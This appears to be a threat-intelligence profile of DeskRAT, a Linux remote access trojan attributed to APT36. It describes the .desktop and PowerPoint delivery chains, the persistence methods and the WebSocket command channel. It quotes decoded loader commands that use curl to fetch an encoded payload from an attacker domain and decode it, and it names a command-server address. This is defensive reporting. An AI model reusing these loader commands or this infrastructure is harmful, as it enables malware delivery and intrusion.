Loading malware…
DeskRAT is a Go-based remote access trojan used by the Pakistan-linked cyberespionage group Transparent Tribe, also known as APT36 and Mythic Leopard, against Indian government and defense organizations. It targets Linux systems, including BOSS (Bharat Operating System Solutions) environments. Its capabilities include remote file browsing and collection, data exfiltration, and execution of additional payloads. DeskRAT uses WebSocket-based command-and-control communications and supports persistence through systemd, cron, desktop autostart mechanisms, and shell initialization modifications.
DeskRAT is distributed through spear-phishing messages containing malicious ZIP attachments or links to hosted archives. Linux infection chains use deceptive freedesktop launchers that display decoy PDFs while retrieving and executing the implant. Observed lures impersonate government correspondence and defense procurement documents. Some chains employ heavily obfuscated shell loaders with multiple decoding stages, followed by retrieval and decompression of an encoded ELF payload. Delivery through malicious PowerPoint add-ins has also been observed. DeskRAT is closely related to the StealthServer toolset, which includes Linux and Windows implants with overlapping functionality.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“Their historical RAT arsenal includes CapraRAT, Crimson RAT, ElizaRAT, and DeskRAT.”
The campaigns are characterized by the use of malware families like Geta RAT, Ares RAT, and DeskRAT...
15 distinct techniques documented for this family, organized by ATT&CK tactic.
The disclosure comes as details have emerged of a targeted phishing operation leveraging weaponized Linux .desktop files to target the Indian military infrastructure using contract-related lures associated with Indian-armored vehicle procurement operations.
The current lure is themed as Ministry of Defence procurement of indigenous trawl assemblies for T-72 and T-90 main battle tanks ... a plausible-enough artifact for a defense-contracting inbox to open without hesitation.
"...run arbitrary shell commands..."
Once executed, the malicious .desktop launcher initiates a heavily obfuscated shell-based infection chain involving staged payload retrieval, inline decoding routines, and deployment of a Golang-based ELF implant tracked in this report as DeskRAT.
"DeskRAT, is delivered via a rogue PowerPoint Add-In file that runs embedded macro to establish outbound communication with a remote server to fetch the malware."
curl ${YAiuradJ} ${JOsQTdyK} | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d
APT36 ... is running an active Linux-targeted campaign ... delivered through abuse of the freedesktop .desktop file format with a triple-encoded bash loader.
The DeskRAT payload's ASCII85+bzip2 delivery mechanism, the decoded triple-encoded bash loader ( base64 → xxd -r -p → base64 ) ...
The root of the infection chain is a 1.4 MB .desktop file, MoD_letter_update.desktop ... a 500 KB base64-encoded PNG icon (so the launcher displays a convincing document icon to the victim), and a much larger base64-encoded .pdf-looking block that's actually unused data
the client-side /tmp/.wAhJmE-<md5> randomized drop path ... The randomized drop path ( /tmp/.wAhJmE-<md5> ) and the dotfile prefix keep the payload hidden from ls without -a
The campaign appears to target individuals connected to Indian military and defense infrastructure ecosystems using WhatsApp-based social engineering and staged shell payload delivery.
"Geta RAT supports various commands to collect system information, enumerate running processes..."
The C2 protocol WebSocket ( ws:// over TCP/8080), gorilla/websocket implementation ... Sending a WebSocket upgrade ... all complete the handshake and receive a server-initiated JSON frame on connection
The command-and-control channel is a WebSocket endpoint on 85.137.249[.]224:8080/ws ... The agent's runtime behavior is: dial wss://<c2>:8080/ws , register with a UUIDv4 session identifier prefixed cxx- , send heartbeats, and handle RPC messages over the WebSocket channel.
Decoded, the command is plain: ... curl ... "https://" "bossmaya.xyz/download.php?file=client.txt" | python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.a85decode(sys.stdin.read()))' | bzip2 -d
25 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.